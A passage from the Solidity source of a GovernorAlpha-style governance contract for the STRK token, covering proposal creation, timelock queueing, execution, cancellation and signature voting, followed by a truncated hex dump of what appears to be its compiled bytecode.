require(targets.length == values.length && targets.length == signatures.length && targets.length == calldatas.length, "GovernorAlpha::propose: proposal function information arity mismatch");
require(targets.length != 0, "GovernorAlpha::propose: must provide actions");
require(targets.length <= proposalMaxOperations(), "GovernorAlpha::propose: too many actions");
uint latestProposalId = latestProposalIds[msg.sender];
if (latestProposalId != 0) {
ProposalState proposersLatestProposalState = state(latestProposalId);
require(proposersLatestProposalState != ProposalState.Active, "GovernorAlpha::propose: found an already active proposal");
require(proposersLatestProposalState != ProposalState.Pending, "GovernorAlpha::propose: found an already pending proposal");
}
uint startBlock = add256(block.number, votingDelay());
uint endBlock = add256(startBlock, votingPeriod());
proposalCount++;
Proposal memory newProposal = Proposal({
id: proposalCount,
proposer: msg.sender,
eta: 0,
targets: targets,
values: values,
signatures: signatures,
calldatas: calldatas,
startBlock: startBlock,
endBlock: endBlock,
forVotes: 0,
againstVotes: 0,
canceled: false,
executed: false
});
proposals[newProposal.id] = newProposal;
latestProposalIds[newProposal.proposer] = newProposal.id;
emit ProposalCreated(newProposal.id, msg.sender, targets, values, signatures, calldatas, startBlock, endBlock, description);
return newProposal.id;
}
function queue(uint proposalId) public {
require(state(proposalId) == ProposalState.Succeeded, "GovernorAlpha::queue: proposal can only be queued if it is succeeded");
Proposal storage proposal = proposals[proposalId];
uint eta = add256(block.timestamp, timelock.delay());
for (uint i = 0; i < proposal.targets.length; i++) {
_queueOrRevert(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], eta);
}
proposal.eta = eta;
emit ProposalQueued(proposalId, eta);
}
function _queueOrRevert(address target, uint value, string memory signature, bytes memory data, uint eta) internal {
require(!timelock.queuedTransactions(keccak256(abi.encode(target, value, signature, data, eta))), "GovernorAlpha::_queueOrRevert: proposal action already queued at eta");
timelock.queueTransaction(target, value, signature, data, eta);
}
function execute(uint proposalId) public payable {
require(state(proposalId) == ProposalState.Queued, "GovernorAlpha::execute: proposal can only be executed if it is queued");
Proposal storage proposal = proposals[proposalId];
proposal.executed = true;
for (uint i = 0; i < proposal.targets.length; i++) {
timelock.executeTransaction.value(proposal.values[i])(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], proposal.eta);
}
emit ProposalExecuted(proposalId);
}
function cancel(uint proposalId) public {
ProposalState state = state(proposalId);
require(state != ProposalState.Executed, "GovernorAlpha::cancel: cannot cancel executed proposal");
Proposal storage proposal = proposals[proposalId];
require(msg.sender == guardian || strk.getPriorVotes(proposal.proposer, sub256(block.number, 1)) < proposalThreshold(), "GovernorAlpha::cancel: proposer above threshold");
proposal.canceled = true;
for (uint i = 0; i < proposal.targets.length; i++) {
timelock.cancelTransaction(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], proposal.eta);
}
emit ProposalCanceled(proposalId);
}
function getActions(uint proposalId) public view returns (address[] memory targets, uint[] memory values, string[] memory signatures, bytes[] memory calldatas) {
Proposal storage p = proposals[proposalId];
return (p.targets, p.values, p.signatures, p.calldatas);
}
function getReceipt(uint proposalId, address voter) public view returns (Receipt memory) {
return proposals[proposalId].receipts[voter];
}
function state(uint proposalId) public view returns (ProposalState) {
require(proposalCount >= proposalId && proposalId > 0, "GovernorAlpha::state: invalid proposal id");
Proposal storage proposal = proposals[proposalId];
if (proposal.canceled) {
return ProposalState.Canceled;
} else if (block.number <= proposal.startBlock) {
return ProposalState.Pending;
} else if (block.number <= proposal.endBlock) {
return ProposalState.Active;
} else if (proposal.forVotes <= proposal.againstVotes || proposal.forVotes < quorumVotes()) {
return ProposalState.Defeated;
} else if (proposal.eta == 0) {
return ProposalState.Succeeded;
} else if (proposal.executed) {
return ProposalState.Executed;
} else if (block.timestamp >= add256(proposal.eta, timelock.GRACE_PERIOD())) {
return ProposalState.Expired;
} else {
return ProposalState.Queued;
}
}
function castVote(uint proposalId, bool support) public {
return _castVote(msg.sender, proposalId, support);
}
function castVoteBySig(uint proposalId, bool support, uint8 v, bytes32 r, bytes32 s) public {
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this)));
bytes32 structHash = keccak256(abi.encode(BALLOT_TYPEHASH, proposalId, support));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "GovernorAlpha::castVoteBySig: invalid signature");
return _castVote(signatory, proposalId, support);
}
function _castVote(address voter, uint proposalId, bool support) internal {
require(state(proposalId) == ProposalState.Active, "GovernorAlpha::_castVote: voting is closed");
Proposal storage proposal = proposals[proposalId];
Receipt storage receipt = proposal.receipts[voter];
require(receipt.hasVoted == false, "GovernorAlpha::_castVote: voter already voted");
uint96 votes = strk.getPriorVotes(voter, proposal.startBlock);
if (support) {
proposal.forVotes = add256(proposal.forVotes, votes);
} else {
proposal.againstVotes = add256(proposal.againstVotes, votes);
}
receipt.hasVoted = true;
receipt.support = support;
receipt.votes = votes;
emit VoteCast(voter, proposalId, support, votes);
}
function __acceptAdmin() public {
require(msg.sender == guardian, "GovernorAlpha::__acceptAdmin: sender must be gov guardian");
timelock.acceptAdmin();
}
function __abdicate() public {
require(msg.sender == guardian, "GovernorAlpha::__abdicate: sender must be gov guardian");
guardian = address(0);
}
function __queueSetTimelockPendingAdmin(address newPendingAdmin, uint eta) public {
require(msg.sender == guardian, "GovernorAlpha::__queueSetTimelockPendingAdmin: sender must be gov guardian");
timelock.queueTransaction(address(timelock), 0, "setPendingAdmin(address)", abi.encode(newPendingAdmin), eta);
}
function __executeSetTimelockPendingAdmin(address newPendingAdmin, uint eta) public {
require(msg.sender == guardian, "GovernorAlpha::__executeSetTimelockPendingAdmin: sender must be gov guardian");
timelock.executeTransaction(address(timelock), 0, "setPendingAdmin(address)", abi.encode(newPendingAdmin), eta);
}
function add256(uint256 a, uint256 b) internal pure returns (uint) {
uint c = a + b;
require(c >= a, "addition overflow");
return c;
}
function sub256(uint256 a, uint256 b) internal pure returns (uint) {
require(b <= a, "subtraction underflow");
return a - b;
}
function getChainId() internal pure returns (uint) {
uint chainId;
assembly { chainId := chainid() }
return chainId;
}
}
interface TimelockInterface {
function delay() external view returns (uint);
function GRACE_PERIOD() external view returns (uint);
function acceptAdmin() external;
function queuedTransactions(bytes32 hash) external view returns (bool);
function queueTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external returns (bytes32);
function cancelTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external;
function executeTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external payable returns (bytes memory);
}
interface StrkInterface {
function getPriorVotes(address account, uint blockNumber) external view returns (uint96);
}
|
0x60806040526004361061019c5760003560e01c80634634c61f116100ec578063da35c6641161008a578063deaaa7cc11610064578063deaaa7cc1461046e578063e23a9a5214610483578063f24e5343146104b0578063fe0d94c1146104c55761019c565b8063da35c66414610419578063da95691a1461042e578063ddf0b0091461044e5761019c565b806391500671116100c657806391500671146103ad578063b58131b0146103cd578063b9a61961146103e2578063d33219b4146103f75761019c565b80634634c61f14610363578063760fbc13146103835780637bdbe4d0146103985761019c565b806321f43e42116101595780633932abb1116101335780633932abb1146102df5780633e4f49e6146102f457806340e58ee514610321578063452a9320146103415761019c565b806321f43e421461027a57806324bc1a641461029a578063328dd982146102af5761019c565b8063013cf08b146101a157806302a251a3146101df57806306fdde031461020157806315373e3d1461022357806317977c611461024557806320606b7014610265575b600080fd5b3480156101ad57600080fd5b506101c16101bc366004612445565b6104d8565b6040516101d69998979695949392919061355e565b60405180910390f35b3480156101eb57600080fd5b506101f4610531565b6040516101d6919061328b565b34801561020d57600080fd5b50610216610538565b6040516101d69190613347565b34801561022f57600080fd5b5061024361023e366004612493565b610569565b005b34801561025157600080fd5b506101f4610260366004612288565b610578565b34801561027157600080fd5b506101f461058a565b34801561028657600080fd5b506102436102953660046122ae565b6105a1565b3480156102a657600080fd5b506101f4610688565b3480156102bb57600080fd5b506102cf6102ca366004612445565b610696565b6040516101d6949392919061323e565b3480156102eb57600080fd5b506101f4610925565b34801561030057600080fd5b5061031461030f366004612445565b61092a565b6040516101d69190613339565b34801561032d57600080fd5b5061024361033c366004612445565b610aac565b34801561034d57600080fd5b50610356610d15565b6040516101d691906130e8565b34801561036f57600080fd5b5061024361037e3660046124c3565b610d24565b34801561038f57600080fd5b50610243610eb9565b3480156103a457600080fd5b506101f4610ef5565b3480156103b957600080fd5b506102436103c83660046122ae565b610efa565b3480156103d957600080fd5b506101f4610fcf565b3480156103ee57600080fd5b50610243610fdd565b34801561040357600080fd5b5061040c611062565b6040516101d6919061332b565b34801561042557600080fd5b506101f4611071565b34801561043a57600080fd5b506101f46104493660046122e8565b611077565b34801561045a57600080fd5b50610243610469366004612445565b611499565b34801561047a57600080fd5b506101f4611703565b34801561048f57600080fd5b506104a361049e366004612463565b61170f565b6040516101d691906134a8565b3480156104bc57600080fd5b5061040c61177e565b6102436104d3366004612445565b61178d565b6004602052600090815260409020805460018201546002830154600784015460088501546009860154600a870154600b9097015495966001600160a01b0390951695939492939192909160ff8082169161010090041689565b6143805b90565b60405180604001604052806015815260200174537472696b6520476f7665726e6f7220416c70686160581b81525081565b610574338383611952565b5050565b60056020526000908152604090205481565b604051610596906130d2565b604051809103902081565b6002546001600160a01b031633146105d45760405162461bcd60e51b81526004016105cb90613388565b60405180910390fd5b600080546040516001600160a01b0390911691630825f38f918391906105fe9087906020016130e8565b604051602081830303815290604052856040518563ffffffff1660e01b815260040161062d9493929190613111565b600060405180830381600087803b15801561064757600080fd5b505af115801561065b573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526106839190810190612410565b505050565b691b87506a3e7b0d40000090565b6060806060806000600460008781526020019081526020016000209050806003018160040182600501836006018380548060200260200160405190810160405280929190818152602001828054801561071857602002820191906000526020600020905b81546001600160a01b031681526001909101906020018083116106fa575b505050505093508280548060200260200160405190810160405280929190818152602001828054801561076a57602002820191906000526020600020905b815481526020019060010190808311610756575b5050505050925081805480602002602001604051908101604052809291908181526020016000905b8282101561083d5760008481526020908190208301805460408051601f60026000196101006001871615020190941693909304928301859004850281018501909152818152928301828280156108295780601f106107fe57610100808354040283529160200191610829565b820191906000526020600020905b81548152906001019060200180831161080c57829003601f168201915b505050505081526020019060010190610792565b50505050915080805480602002602001604051908101604052809291908181526020016000905b8282101561090f5760008481526020908190208301805460408051601f60026000196101006001871615020190941693909304928301859004850281018501909152818152928301828280156108fb5780601f106108d0576101008083540402835291602001916108fb565b820191906000526020600020905b8154815290600101906020018083116108de57829003601f168201915b505050505081526020019060010190610864565b5050505090509450945094509450509193509193565b600190565b6000816003541015801561093e5750600082115b61095a5760405162461bcd60e51b81526004016105cb90613398565b6000828152600460205260409020600b81015460ff161561097f576002915050610aa7565b80600701544311610994576000915050610aa7565b806008015443116109a9576001915050610aa7565b80600a015481600901541115806109ca57506109c3610688565b8160090154105b156109d9576003915050610aa7565b60028101546109ec576004915050610aa7565b600b810154610100900460ff1615610a08576007915050610aa7565b6002810154600054604080516360d143f160e11b81529051610a9193926001600160a01b03169163c1a287e2916004808301926020929190829003018186803b158015610a5457600080fd5b505afa158015610a68573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250610a8c91908101906123f2565b611b1b565b4210610aa1576006915050610aa7565b60059150505b919050565b6000610ab78261092a565b90506007816007811115610ac757fe5b1415610ae55760405162461bcd60e51b81526004016105cb90613468565b60008281526004602052604090206002546001600160a01b0316331480610bb05750610b0f610fcf565b60018054838201546001600160a01b039182169263782d6fe19290911690610b38904390611b47565b6040518363ffffffff1660e01b8152600401610b55929190613160565b60206040518083038186803b158015610b6d57600080fd5b505afa158015610b81573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250610ba5919081019061252b565b6001600160601b0316105b610bcc5760405162461bcd60e51b81526004016105cb906133f8565b600b8101805460ff1916600117905560005b6003820154811015610cd8576000546003830180546001600160a01b039092169163591fcdfe919084908110610c1057fe5b6000918252602090912001546004850180546001600160a01b039092169185908110610c3857fe5b9060005260206000200154856005018581548110610c5257fe5b90600052602060002001866006018681548110610c6b57fe5b9060005260206000200187600201546040518663ffffffff1660e01b8152600401610c9a9594939291906131fd565b600060405180830381600087803b158015610cb457600080fd5b505af1158015610cc8573d6000803e3d6000fd5b505060019092019150610bde9050565b507f789cf55be980739dad1d0699b93b58e806b51c9d96619bfa8fe0a28abaa7b30c83604051610d08919061328b565b60405180910390a1505050565b6002546001600160a01b031681565b6000604051610d32906130d2565b604080519182900382208282019091526015825274537472696b6520476f7665726e6f7220416c70686160581b6020909201919091527fb7cbbca0a91fe0fca163c2e5cc536ed5ccbd8dbd4a0af5db09b256ba5339a9ab610d91611b6f565b30604051602001610da59493929190613299565b6040516020818303038152906040528051906020012090506000604051610dcb906130dd565b604051908190038120610de491899089906020016132ce565b60405160208183030381529060405280519060200120905060008282604051602001610e119291906130a1565b604051602081830303815290604052805190602001209050600060018288888860405160008152602001604052604051610e4e94939291906132f6565b6020604051602081039080840390855afa158015610e70573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b038116610ea35760405162461bcd60e51b81526004016105cb90613458565b610eae818a8a611952565b505050505050505050565b6002546001600160a01b03163314610ee35760405162461bcd60e51b81526004016105cb90613498565b600280546001600160a01b0319169055565b603290565b6002546001600160a01b03163314610f245760405162461bcd60e51b81526004016105cb906133b8565b600080546040516001600160a01b0390911691633a66f90191839190610f4e9087906020016130e8565b604051602081830303815290604052856040518563ffffffff1660e01b8152600401610f7d9493929190613111565b602060405180830381600087803b158015610f9757600080fd5b505af1158015610fab573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525061068391908101906123f2565b690dcdd93b4b2c7410000090565b6002546001600160a01b031633146110075760405162461bcd60e51b81526004016105cb90613358565b6000805460408051630e18b68160e01b815290516001600160a01b0390921692630e18b6819260048084019382900301818387803b15801561104857600080fd5b505af115801561105c573d6000803e3d6000fd5b50505050565b6000546001600160a01b031681565b60035481565b6000611081610fcf565b600180546001600160a01b03169063782d6fe19033906110a2904390611b47565b6040518363ffffffff1660e01b81526004016110bf9291906130f6565b60206040518083038186803b1580156110d757600080fd5b505afa1580156110eb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525061110f919081019061252b565b6001600160601b0316116111355760405162461bcd60e51b81526004016105cb90613448565b84518651148015611147575083518651145b8015611154575082518651145b6111705760405162461bcd60e51b81526004016105cb906133e8565b855161118e5760405162461bcd60e51b81526004016105cb90613438565b611196610ef5565b865111156111b65760405162461bcd60e51b81526004016105cb906133c8565b3360009081526005602052604090205480156112335760006111d78261092a565b905060018160078111156111e757fe5b14156112055760405162461bcd60e51b81526004016105cb90613408565b600081600781111561121357fe5b14156112315760405162461bcd60e51b81526004016105cb90613428565b505b600061124143610a8c610925565b9050600061125182610a8c610531565b6003805460010190559050611264611cd2565b604051806101a001604052806003548152602001336001600160a01b03168152602001600081526020018b81526020018a815260200189815260200188815260200184815260200183815260200160008152602001600081526020016000151581526020016000151581525090508060046000836000015181526020019081526020016000206000820151816000015560208201518160010160006101000a8154816001600160a01b0302191690836001600160a01b03160217905550604082015181600201556060820151816003019080519060200190611347929190611d47565b5060808201518051611363916004840191602090910190611dac565b5060a0820151805161137f916005840191602090910190611df3565b5060c0820151805161139b916006840191602090910190611e4c565b5060e082015181600701556101008201518160080155610120820151816009015561014082015181600a015561016082015181600b0160006101000a81548160ff02191690831515021790555061018082015181600b0160016101000a81548160ff02191690831515021790555090505080600001516005600083602001516001600160a01b03166001600160a01b03168152602001908152602001600020819055507f7d84a6263ae0d98d3329bd7b46bb4e8d6f98cd35a7adb45c274c8b7fd5ebd5e08160000151338c8c8c8c89898e604051611481999897969594939291906134b6565b60405180910390a15193505050505b95945050505050565b60046114a48261092a565b60078111156114af57fe5b146114cc5760405162461bcd60e51b81526004016105cb90613368565b600081815260046020818152604080842084548251630d48571f60e31b815292519195946115219442946001600160a01b0390931693636a42b8f8938084019390829003018186803b158015610a5457600080fd5b905060005b60038301548110156116c9576116c183600301828154811061154457fe5b6000918252602090912001546004850180546001600160a01b03909216918490811061156c57fe5b906000526020600020015485600501848154811061158657fe5b600091825260209182902001805460408051601f60026000196101006001871615020190941693909304928301859004850281018501909152818152928301828280156116145780601f106115e957610100808354040283529160200191611614565b820191906000526020600020905b8154815290600101906020018083116115f757829003601f168201915b505050505086600601858154811061162857fe5b600091825260209182902001805460408051601f60026000196101006001871615020190941693909304928301859004850281018501909152818152928301828280156116b65780601f1061168b576101008083540402835291602001916116b6565b820191906000526020600020905b81548152906001019060200180831161169957829003601f168201915b505050505086611b73565b600101611526565b50600282018190556040517f9a2e42fd6722813d69113e7d0079d3d940171428df7373df9c7f7617cfda289290610d0890859084906135e4565b604051610596906130dd565b611717611ea5565b5060008281526004602090815260408083206001600160a01b0385168452600c018252918290208251606081018452905460ff80821615158352610100820416151592820192909252620100009091046001600160601b0316918101919091525b92915050565b6001546001600160a01b031681565b60056117988261092a565b60078111156117a357fe5b146117c05760405162461bcd60e51b81526004016105cb90613378565b6000818152600460205260408120600b8101805461ff001916610100179055905b6003820154811015611916576000546004830180546001600160a01b0390921691630825f38f91908490811061181357fe5b906000526020600020015484600301848154811061182d57fe5b6000918252602090912001546004860180546001600160a01b03909216918690811061185557fe5b906000526020600020015486600501868154811061186f57fe5b9060005260206000200187600601878154811061188857fe5b9060005260206000200188600201546040518763ffffffff1660e01b81526004016118b79594939291906131fd565b6000604051808303818588803b1580156118d057600080fd5b505af11580156118e4573d6000803e3d6000fd5b50505050506040513d6000823e601f3d908101601f1916820160405261190d9190810190612410565b506001016117e1565b507f712ae1383f79ac853f8d882153778e0260ef8f03b504e2866e0593e04d2b291f82604051611946919061328b565b60405180910390a15050565b600161195d8361092a565b600781111561196857fe5b146119855760405162461bcd60e51b81526004016105cb90613478565b60008281526004602090815260408083206001600160a01b0387168452600c8101909252909120805460ff16156119ce5760405162461bcd60e51b81526004016105cb906133a8565b600154600783015460405163782d6fe160e01b81526000926001600160a01b03169163782d6fe191611a04918a91600401613160565b60206040518083038186803b158015611a1c57600080fd5b505afa158015611a30573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250611a54919081019061252b565b90508315611a7d57611a738360090154826001600160601b0316611b1b565b6009840155611a9a565b611a9483600a0154826001600160601b0316611b1b565b600a8401555b8154600160ff199091161761ff00191661010085151502176dffffffffffffffffffffffff00001916620100006001600160601b038316021782556040517f877856338e13f63d0c36822ff0ef736b80934cd90574a3a5bc9262c39d217c4690611b0b90889088908890869061316e565b60405180910390a1505050505050565b600082820183811015611b405760405162461bcd60e51b81526004016105cb906133d8565b9392505050565b600082821115611b695760405162461bcd60e51b81526004016105cb90613488565b50900390565b4690565b6000546040516001600160a01b039091169063f2b0653790611ba190889088908890889088906020016131a3565b604051602081830303815290604052805190602001206040518263ffffffff1660e01b8152600401611bd3919061328b565b60206040518083038186803b158015611beb57600080fd5b505afa158015611bff573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250611c2391908101906123d4565b15611c405760405162461bcd60e51b81526004016105cb90613418565b600054604051633a66f90160e01b81526001600160a01b0390911690633a66f90190611c7890889088908890889088906004016131a3565b602060405180830381600087803b158015611c9257600080fd5b505af1158015611ca6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250611cca91908101906123f2565b505050505050565b604051806101a001604052806000815260200160006001600160a01b031681526020016000815260200160608152602001606081526020016060815260200160608152602001600081526020016000815260200160008152602001600081526020016000151581526020016000151581525090565b828054828255906000526020600020908101928215611d9c579160200282015b82811115611d9c57825182546001600160a01b0319166001600160a01b03909116178255602090920191600190910190611d67565b50611da8929150611ec5565b5090565b828054828255906000526020600020908101928215611de7579160200282015b82811115611de7578251825591602001919060010190611dcc565b50611da8929150611ee9565b828054828255906000526020600020908101928215611e40579160200282015b82811115611e405782518051611e30918491602090910190611f03565b5091602001919060010190611e13565b50611da8929150611f70565b828054828255906000526020600020908101928215611e99579160200282015b82811115611e995782518051611e89918491602090910190611f03565b5091602001919060010190611e6c565b50611da8929150611f93565b604080516060810182526000808252602082018190529181019190915290565b61053591905b80821115611da85780546001600160a01b0319168155600101611ecb565b61053591905b80821115611da85760008155600101611eef565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10611f4457805160ff1916838001178555611de7565b82800160010185558215611de75791820182811115611de7578251825591602001919060010190611dcc565b61053591905b80821115611da8576000611f8a8282611fb6565b50600101611f76565b61053591905b80821115611da8576000611fad8282611fb6565b50600101611f99565b50805460018160011615610100020316600290046000825580601f10611fdc5750611ffa565b601f016020900490600052602060002090810190611ffa9190611ee9565b50565b803561177881613738565b600082601f83011261201957600080fd5b813561202c61202782613619565b6135f2565b9150818183526020840193506020810190508385602084028201111561205157600080fd5b60005b8381101561207d57816120678882611ffd565b8452506020928301929190910190600101612054565b5050505092915050565b600082601f83011261209857600080fd5b81356120a661202782613619565b81815260209384019390925082018360005b8381101561207d57813586016120ce88826121dd565b84525060209283019291909101906001016120b8565b600082601f8301126120f557600080fd5b813561210361202782613619565b81815260209384019390925082018360005b8381101561207d578135860161212b88826121dd565b8452506020928301929190910190600101612115565b600082601f83011261215257600080fd5b813561216061202782613619565b9150818183526020840193506020810190508385602084028201111561218557600080fd5b60005b8381101561207d578161219b88826121c7565b8452506020928301929190910190600101612188565b80356117788161374c565b80516117788161374c565b803561177881613755565b805161177881613755565b600082601f8301126121ee57600080fd5b81356121fc6120278261363a565b9150808252602083016020830185838301111561221857600080fd5b6122238382846136ec565b50505092915050565b600082601f83011261223d57600080fd5b815161224b6120278261363a565b9150808252602083016020830185838301111561226757600080fd5b6122238382846136f8565b80356117788161375e565b805161177881613767565b60006020828403121561229a57600080fd5b60006122a68484611ffd565b949350505050565b600080604083850312156122c157600080fd5b60006122cd8585611ffd565b92505060206122de858286016121c7565b9150509250929050565b600080600080600060a0868803121561230057600080fd5b853567ffffffffffffffff81111561231757600080fd5b61232388828901612008565b955050602086013567ffffffffffffffff81111561234057600080fd5b61234c88828901612141565b945050604086013567ffffffffffffffff81111561236957600080fd5b612375888289016120e4565b935050606086013567ffffffffffffffff81111561239257600080fd5b61239e88828901612087565b925050608086013567ffffffffffffffff8111156123bb57600080fd5b6123c7888289016121dd565b9150509295509295909350565b6000602082840312156123e657600080fd5b60006122a684846121bc565b60006020828403121561240457600080fd5b60006122a684846121d2565b60006020828403121561242257600080fd5b815167ffffffffffffffff81111561243957600080fd5b6122a68482850161222c565b60006020828403121561245757600080fd5b60006122a684846121c7565b6000806040838503121561247657600080fd5b600061248285856121c7565b92505060206122de85828601611ffd565b600080604083850312156124a657600080fd5b60006124b285856121c7565b92505060206122de858286016121b1565b600080600080600060a086880312156124db57600080fd5b60006124e788886121c7565b95505060206124f8888289016121b1565b945050604061250988828901612272565b935050606061251a888289016121c7565b92505060806123c7888289016121c7565b60006020828403121561253d57600080fd5b60006122a6848461227d565b60006125558383612584565b505060200190565b6000611b408383612726565b6000612555838361270c565b61257e816136b9565b82525050565b61257e81613681565b600061259882613674565b6125a28185613678565b93506125ad83613662565b8060005b838110156125db5781516125c58882612549565b97506125d083613662565b9250506001016125b1565b509495945050505050565b60006125f182613674565b6125fb8185613678565b93508360208202850161260d85613662565b8060005b85811015612647578484038952815161262a858261255d565b945061263583613662565b60209a909a0199925050600101612611565b5091979650505050505050565b600061265f82613674565b6126698185613678565b93508360208202850161267b85613662565b8060005b858110156126475784840389528151612698858261255d565b94506126a383613662565b60209a909a019992505060010161267f565b60006126c082613674565b6126ca8185613678565b93506126d583613662565b8060005b838110156125db5781516126ed8882612569565b97506126f883613662565b9250506001016126d9565b61257e8161368c565b61257e81610535565b61257e61272182610535565b610535565b600061273182613674565b61273b8185613678565b935061274b8185602086016136f8565b61275481613724565b9093019392505050565b60008154600181166000811461277b57600181146127a1576127e0565b607f600283041661278c8187613678565b60ff19841681529550506020850192506127e0565b600282046127af8187613678565b95506127ba85613668565b60005b828110156127d9578154888201526001909101906020016127bd565b8701945050505b505092915050565b61257e816136c0565b61257e816136cb565b61257e816136d6565b6000612810603983613678565b7f476f7665726e6f72416c7068613a3a5f5f61636365707441646d696e3a20736581527f6e646572206d75737420626520676f7620677561726469616e00000000000000602082015260400192915050565b600061286f604483613678565b7f476f7665726e6f72416c7068613a3a71756575653a2070726f706f73616c206381527f616e206f6e6c79206265207175657565642069662069742069732073756363656020820152631959195960e21b604082015260600192915050565b60006128db604583613678565b7f476f7665726e6f72416c7068613a3a657865637574653a2070726f706f73616c81527f2063616e206f6e6c7920626520657865637574656420696620697420697320716020820152641d595d595960da1b604082015260600192915050565b6000612948600283610aa7565b61190160f01b815260020192915050565b6000612966604c83613678565b7f476f7665726e6f72416c7068613a3a5f5f6578656375746553657454696d656c81527f6f636b50656e64696e6741646d696e3a2073656e646572206d7573742062652060208201526b33b7bb1033bab0b93234b0b760a11b604082015260600192915050565b60006129da601883613678565b7f73657450656e64696e6741646d696e2861646472657373290000000000000000815260200192915050565b6000612a13602983613678565b7f476f7665726e6f72416c7068613a3a73746174653a20696e76616c69642070728152681bdc1bdcd85b081a5960ba1b602082015260400192915050565b6000612a5e602d83613678565b7f476f7665726e6f72416c7068613a3a5f63617374566f74653a20766f7465722081526c185b1c9958591e481d9bdd1959609a1b602082015260400192915050565b6000612aad604a83613678565b7f476f7665726e6f72416c7068613a3a5f5f717565756553657454696d656c6f6381527f6b50656e64696e6741646d696e3a2073656e646572206d75737420626520676f6020820152693b1033bab0b93234b0b760b11b604082015260600192915050565b6000612b1f602883613678565b7f476f7665726e6f72416c7068613a3a70726f706f73653a20746f6f206d616e7981526720616374696f6e7360c01b602082015260400192915050565b6000612b69601183613678565b706164646974696f6e206f766572666c6f7760781b815260200192915050565b6000612b96604383610aa7565b7f454950373132446f6d61696e28737472696e67206e616d652c75696e7432353681527f20636861696e49642c6164647265737320766572696679696e67436f6e74726160208201526263742960e81b604082015260430192915050565b6000612c01602783610aa7565b7f42616c6c6f742875696e743235362070726f706f73616c49642c626f6f6c20738152667570706f72742960c81b602082015260270192915050565b6000612c4a604483613678565b7f476f7665726e6f72416c7068613a3a70726f706f73653a2070726f706f73616c81527f2066756e6374696f6e20696e666f726d6174696f6e206172697479206d69736d6020820152630c2e8c6d60e31b604082015260600192915050565b6000612cb6602f83613678565b7f476f7665726e6f72416c7068613a3a63616e63656c3a2070726f706f7365722081526e18589bdd99481d1a1c995cda1bdb19608a1b602082015260400192915050565b6000612d07603883613678565b7f476f7665726e6f72416c7068613a3a70726f706f73653a20666f756e6420616e81527f20616c7265616479206163746976652070726f706f73616c0000000000000000602082015260400192915050565b6000612d66604483613678565b7f476f7665726e6f72416c7068613a3a5f71756575654f725265766572743a207081527f726f706f73616c20616374696f6e20616c7265616479207175657565642061746020820152632065746160e01b604082015260600192915050565b6000612dd2603983613678565b7f476f7665726e6f72416c7068613a3a70726f706f73653a20666f756e6420616e81527f20616c72656164792070656e64696e672070726f706f73616c00000000000000602082015260400192915050565b6000612e31602c83613678565b7f476f7665726e6f72416c7068613a3a70726f706f73653a206d7573742070726f81526b7669646520616374696f6e7360a01b602082015260400192915050565b6000612e7f603f83613678565b7f476f7665726e6f72416c7068613a3a70726f706f73653a2070726f706f73657281527f20766f7465732062656c6f772070726f706f73616c207468726573686f6c6400602082015260400192915050565b6000612ede602f83613678565b7f476f7665726e6f72416c7068613a3a63617374566f746542795369673a20696e81526e76616c6964207369676e617475726560881b602082015260400192915050565b6000612f2f603683613678565b7f476f7665726e6f72416c7068613a3a63616e63656c3a2063616e6e6f742063618152751b98d95b08195e1958dd5d1959081c1c9bdc1bdcd85b60521b602082015260400192915050565b6000612f87602a83613678565b7f476f7665726e6f72416c7068613a3a5f63617374566f74653a20766f74696e67815269081a5cc818db1bdcd95960b21b602082015260400192915050565b6000612fd3601583613678565b747375627472616374696f6e20756e646572666c6f7760581b815260200192915050565b6000613004603683613678565b7f476f7665726e6f72416c7068613a3a5f5f61626469636174653a2073656e6465815275391036bab9ba1031329033b7bb1033bab0b93234b0b760511b602082015260400192915050565b805160608301906130608482612703565b5060208201516130736020850182612703565b50604082015161105c6040850182613098565b61257e816136a7565b61257e816136e1565b61257e816136ad565b60006130ac8261293b565b91506130b88285612715565b6020820191506130c88284612715565b5060200192915050565b600061177882612b89565b600061177882612bf4565b602081016117788284612584565b604081016131048285612575565b611b40602083018461270c565b60a0810161311f8287612584565b61312c60208301866127fa565b818103604083015261313d816129cd565b905081810360608301526131518185612726565b9050611490608083018461270c565b604081016131048285612584565b6080810161317c8287612584565b613189602083018661270c565b6131966040830185612703565b611490606083018461308f565b60a081016131b18288612584565b6131be602083018761270c565b81810360408301526131d08186612726565b905081810360608301526131e48185612726565b90506131f3608083018461270c565b9695505050505050565b60a0810161320b8288612584565b613218602083018761270c565b818103604083015261322a818661275e565b905081810360608301526131e4818561275e565b6080808252810161324f818761258d565b9050818103602083015261326381866126b5565b905081810360408301526132778185612654565b905081810360608301526131f381846125e6565b60208101611778828461270c565b608081016132a7828761270c565b6132b4602083018661270c565b6132c1604083018561270c565b6114906060830184612584565b606081016132dc828661270c565b6132e9602083018561270c565b6122a66040830184612703565b60808101613304828761270c565b6133116020830186613086565b61331e604083018561270c565b611490606083018461270c565b6020810161177882846127e8565b6020810161177882846127f1565b60208082528101611b408184612726565b6020808252810161177881612803565b6020808252810161177881612862565b60208082528101611778816128ce565b6020808252810161177881612959565b6020808252810161177881612a06565b6020808252810161177881612a51565b6020808252810161177881612aa0565b6020808252810161177881612b12565b6020808252810161177881612b5c565b6020808252810161177881612c3d565b6020808252810161177881612ca9565b6020808252810161177881612cfa565b6020808252810161177881612d59565b6020808252810161177881612dc5565b6020808252810161177881612e24565b6020808252810161177881612e72565b6020808252810161177881612ed1565